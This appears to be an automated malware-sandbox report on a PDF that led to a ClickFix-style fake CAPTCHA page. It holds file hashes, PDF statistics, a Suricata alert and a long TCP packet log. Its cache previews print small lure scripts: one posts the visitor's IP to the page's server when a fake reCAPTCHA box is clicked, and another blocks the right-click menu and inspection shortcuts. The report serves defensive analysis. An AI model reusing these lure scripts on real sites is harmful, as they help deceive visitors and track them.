SSDEEP:	3:FttakNW0v1qHv3HjapKxfD/20PbHykg8TaKRUvKEivzCz4Ecssx2VSREvln:Xt5WaoekNj20P57TaKaHirPF2Vr9n
MD5:	3B84FB10F1DF8E1537F04D6C0F8EB5B6
SHA1:	E486E09F4BEC13056A3C39C48738C50C0983130B
SHA-256:	8675302B63BEDD118BCBB4527599F0FC76E387E96C626776FB7CCB63DA4F498A
SHA-512:	6FC2F7B6FE2EB51700421CC92C30137A3820208B3AA75E159D11FE7064FF152680D0D746ABACB5D0E98350ACA8872B2FCFC12B8E32CE0232E343E1FA505C3660
Malicious:	false
URL:	http://clintonmakes.com/favicon.ico
Preview:	..........M.M..0...R.K.plv..H.H.8x...d....t./M....&='.Zgp.....P...[.".9b*S....1..A...nr.....,.(.J[..:)B.$.......n.Y.a......R.509.}...l?.0.<y..gW.....\|....v....

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	586
Entropy (8bit):	4.370557641150247
Encrypted:	false
SSDEEP:	12:uSoUAjPUdbGVL+PSePqfowFGZciFanuacl:1kTibMC1qfNsCmauacl
MD5:	ED1D486217F2793D2EF42BE7E3832E34
SHA1:	90E1F5CA3AD5B15F83D073983CCC793AA10EC3D3
SHA-256:	87BEC5CD283117B0FAA07633479F3E64F476BC65E94EB1B306EDEED381B05DD1
SHA-512:	17BC69370C9B0B4FA0D536D6E188770F575CCA8ABCBCE515FE045483787DC01AB5D1F9023F79860ED55B6D6CFC7D54010E538A2299666972D58C6BB8A80EDFBD
Malicious:	false
URL:	https://fixecondfirbook.info/captchaHandler.js
Preview:	document.addEventListener('DOMContentLoaded', function() {. const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox');. if (recaptchaCheckbox) {. recaptchaCheckbox.addEventListener('click', function() {. // ........ IP-...... .. ....... fetch('/send-ip', {. method: 'POST'. }).then(response => {. if (response.ok) {. console.log('');. } else {. console.error('');. }. });. });. }.}); .

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	874
Entropy (8bit):	4.562777845892514
Encrypted:	false
SSDEEP:	24:2z34mR0mRFgRmRCL3/mRLC4McHPXkniHqb8iHqmu:aLpfbgLegbM0nhYhmu
MD5:	E1B0667740A466F2ADE08864B8AAC4A8
SHA1:	3E79FF881EB857A030CDA726CBA4B73FDFEB9664
SHA-256:	D688F111F8DF6DADFE5505FDB923A2788311A2D1D70D4FE04688020E1B211A6D
SHA-512:	43E9400B5467A7DBFCBD89C9D08CBADE214DE5CC562A9DBF4D6A7F7216E5146C771E8BE90CF1F1C1E0106EA52F0F27CA7698D8190FB34603981CDCE50F26E4AD
Malicious:	false
Preview:	(function() {. function revertLanguageChange() {. if (document.documentElement.lang !== originalLang) {. document.documentElement.lang = originalLang;. }. }.. const originalLang = document.documentElement.lang;.. const observer = new MutationObserver(revertLanguageChange);. observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] });.. document.addEventListener('contextmenu', function(event) {. event.preventDefault();. }, false);.. document.addEventListener('keydown', function(event) {. if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. }, false);.})();.

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	874
Entropy (8bit):	4.562777845892514
Encrypted:	false
SSDEEP:	24:2z34mR0mRFgRmRCL3/mRLC4McHPXkniHqb8iHqmu:aLpfbgLegbM0nhYhmu
MD5:	E1B0667740A466F2ADE08864B8AAC4A8
SHA1:	3E79FF881EB857A030CDA726CBA4B73FDFEB9664
SHA-256:	D688F111F8DF6DADFE5505FDB923A2788311A2D1D70D4FE04688020E1B211A6D
SHA-512:	43E9400B5467A7DBFCBD89C9D08CBADE214DE5CC562A9DBF4D6A7F7216E5146C771E8BE90CF1F1C1E0106EA52F0F27CA7698D8190FB34603981CDCE50F26E4AD
Malicious:	false
URL:	https://fixecondfirbook.info/languageRevert.js
Preview:	(function() {. function revertLanguageChange() {. if (document.documentElement.lang !== originalLang) {. document.documentElement.lang = originalLang;. }. }.. const originalLang = document.documentElement.lang;.. const observer = new MutationObserver(revertLanguageChange);. observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] });.. document.addEventListener('contextmenu', function(event) {. event.preventDefault();. }, false);.. document.addEventListener('keydown', function(event) {. if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. }, false);.})();.

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HEIQL:kh
MD5:	A6FD0B162FB82DAB665FD0C44346F558
SHA1:	E097833D14D58DF26033A916160A935AAFAC37C9
SHA-256:	800C0A33850287FD505475C979F6482241E98EAA136732EA18AABA084B838E15
SHA-512:	13AD2E0568F7F6BD05524CFA1797DC0309E6CDB1AA98C818060DCB2ACA99958DAFAB4A2CF5AE1CEA49367CC4B7A91633DB889B35ACF15ECB85AF461F2F74D593
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAnojw-vAgGkgRIFDQzGSa4=?alt=proto
Preview:	CgkKBw0MxkmuGgA=

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	586
Entropy (8bit):	4.370557641150247
Encrypted:	false
SSDEEP:	12:uSoUAjPUdbGVL+PSePqfowFGZciFanuacl:1kTibMC1qfNsCmauacl
MD5:	ED1D486217F2793D2EF42BE7E3832E34
SHA1:	90E1F5CA3AD5B15F83D073983CCC793AA10EC3D3
SHA-256:	87BEC5CD283117B0FAA07633479F3E64F476BC65E94EB1B306EDEED381B05DD1
SHA-512:	17BC69370C9B0B4FA0D536D6E188770F575CCA8ABCBCE515FE045483787DC01AB5D1F9023F79860ED55B6D6CFC7D54010E538A2299666972D58C6BB8A80EDFBD
Malicious:	false
Preview:	document.addEventListener('DOMContentLoaded', function() {. const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox');. if (recaptchaCheckbox) {. recaptchaCheckbox.addEventListener('click', function() {. // ........ IP-...... .. ....... fetch('/send-ip', {. method: 'POST'. }).then(response => {. if (response.ok) {. console.log('');. } else {. console.error('');. }. });. });. }.}); .

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 526
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	7.110598860032035
Encrypted:	false
SSDEEP:	6:XtyPGgXdn/L/x3ArVZad32XfxRqI+XQcqa/uD+hWpXJy2QDnW/:XKXdnz/x3UU32vxwIjG/+ps3i/
MD5:	273A8E7CE16720012159CCEB076C49B7
SHA1:	3D5057731B1521631866D264662F645BAC8CFF95
SHA-256:	01CE43EC5F0C2288440121A3A84C1A44210912BC59BB0CA41ED7DA3D68ACCCE7
SHA-512:	916731902918128430C5C3B49C509F8A7DA63312445978CD59B2A9199AC34F95E007C8983A728F2918BF32B1C36F1F310415A14FBDDCF56F18F0D777AEB9ADA3
Malicious:	false
URL:	http://clintonmakes.com/215c/
Preview:	.............n. .._..xri3...%...Y:E..6...8...Kb..TE.....8....m..x..lW...R.%....T-.L..9......;.G.~.35v.'.!q.l.j%...)_.I.D}.".BI.p..J.........n..}.HC.}S\g...G.nX.&.....d.[.].H...3...9........6,bW].P.a........[q.....j..}..=z=.f.._...S....

Static File Info

General

File type:	PDF document, version 1.4, 10 pages
Entropy (8bit):	7.913766085552636
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	shJGPJRkwH.pdf
File size:	162'654 bytes
MD5:	5d9644d626b822a22090c7544efbd4ec
SHA1:	ffaf93f909c182753d1a8ff01dff2b0739bad162
SHA256:	71c6dd7199d2355c6d7bee5b2b59367e9661430f66cb5e4a6bd0c2bf287d3cd4
SHA512:	b9d089c49535d300e9570af242742d4ef43248e453b01d7f95471dd9805686c7596b85ed04ecaab4c8d8e7168d7f469b6b948f59d495e0e534afa6f6c6915f4c
SSDEEP:	3072:Eibi/T0K7U7fsPrBKOtdjHijSin4mNQAfJ6pTY0CobculhFHQAYcZDc0V+SWfhXv:EibiLjg8djCjBHk/xbH1HQAYasj/
TLSH:	24F3E177C9884CCDF8C3CAF5912A3D8F49ACF35746E4AE12347887967E1090E9A3157A
File Content Preview:	%PDF-1.4.1 0 obj.<<./Count 10./Kids [3 0 R.5 0 R.7 0 R.9 0 R.11 0 R.13 0 R.15 0 R.17 0 R.19 0 R.21 0 R]./MediaBox [0 0 595.28 841.89]./Type /Pages.>>.endobj.2 0 obj.<<./OpenAction [3 0 R /FitH null]./PageLayout /OneColumn./Pages 1 0 R./Type /Catalog.>>.en

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.4
Total Entropy:	7.913766
Total Bytes:	162654
Stream Entropy:	7.979960
Stream Bytes:	147134
Entropy outside Streams:	5.226502
Bytes outside Streams:	15520
Number of EOF found:	1
Bytes after EOF:

Keywords Statistics

Name	Count
obj	91
endobj	91
stream	35
endstream	35
xref	1
trailer	1
startxref	1
/Page	10
/Encrypt	0
/ObjStm	0
/URI	20
/JS	0
/JavaScript	0
/AA	0
/OpenAction	1
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5	Preview
79	0080609090804080	3ce24e8c5b176be0add83f3671ba9e9c

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-16T17:16:22.838256+0100	2859486	ETPRO MALWARE Observed ClickFix Powershell Delivery Page Inbound	1	104.21.94.195	443	192.168.2.7	49731	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 17:15:42.141026020 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.141040087 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.141145945 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.143862009 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.143959045 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.149679899 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.230292082 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.233905077 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.252029896 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.252054930 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.252219915 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.254997969 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.255201101 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.260032892 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.266093969 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.266108036 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.266242981 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.269120932 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.269221067 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.274167061 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.344403982 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.347728968 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.366673946 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.369757891 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.375879049 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.375914097 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.376004934 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.378452063 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.378534079 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.383404970 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.448803902 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.451864004 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.467082977 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.469732046 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.475681067 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.479383945 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.491430998 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.491450071 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.491552114 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.494000912 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.494040966 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.498831987 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.567015886 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.570535898 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.576627970 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.579108000 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.591224909 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.593189001 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.600136042 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.600152016 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.600219011 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.602797985 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.603421926 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.608267069 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.687954903 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.687978029 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.688050032 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.691262007 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.692032099 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.697206020 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.700051069 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.702395916 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.731028080 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.731049061 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.731106043 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.733279943 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.733360052 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.738120079 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.799719095 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.802326918 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.808152914 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.810529947 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.830596924 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.833111048 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.846580029 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.846596956 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.846690893 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.849144936 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.849261045 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.854027033 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.909895897 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.912975073 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.930876017 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.946365118 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.946507931 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:42.962259054 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.962304115 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:42.962361097 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.012164116 CET	49677	443	192.168.2.7	20.50.201.200
Jan 16, 2025 17:15:43.038674116 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.090192080 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.095347881 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.143151999 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.197319031 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.201175928 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.201263905 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.202131033 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.274255037 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.281825066 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.302534103 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.321094036 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.323165894 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.323338032 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.327977896 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.335942984 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.340764999 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.418298960 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.448899984 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.448926926 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.448937893 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.449058056 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.449081898 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.457895041 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.459605932 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.464368105 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.465032101 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.511126995 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.542671919 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.558654070 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.563446999 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.564203978 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.572937012 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.574992895 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.575028896 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.575113058 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.606378078 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.612782001 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.619487047 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.655879974 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.665501118 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.665632963 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.665728092 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.669523954 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.674299002 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.730711937 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.757256031 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.757278919 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.757389069 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.784161091 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.784176111 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.784296989 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.803505898 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.804685116 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.809643030 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.839190006 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.839678049 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.844676971 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.908679962 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.909336090 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.931529045 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.936512947 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.952667952 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.952685118 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:43.952805042 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.994481087 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.997359991 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:43.998341084 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.002207994 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.029095888 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.044861078 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.044986010 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.107872009 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.107896090 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.108011007 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.137376070 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.183974981 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.234620094 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.252732038 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.257607937 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.275151014 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.300760031 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.302503109 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.305603981 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.339867115 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.372694969 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.372817993 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.396712065 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.397767067 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.398062944 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.402566910 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.413870096 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.413886070 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.413969040 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.470580101 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.475866079 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.480668068 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.483782053 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.506238937 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.532160044 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.567894936 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.602858067 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.607868910 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.607911110 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.607953072 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.627882957 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.628897905 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.633002043 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.633924961 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.636235952 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.683242083 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.697684050 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.702835083 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.708086967 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.754117012 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.754136086 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.754156113 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.754271984 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.757177114 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.757256031 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.762708902 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.800604105 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.803441048 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.803498983 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.808243990 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.808337927 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.846575975 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.849323988 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.863801956 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.863832951 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.863951921 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.866667032 CET	49700	443	192.168.2.7	13.107.253.45
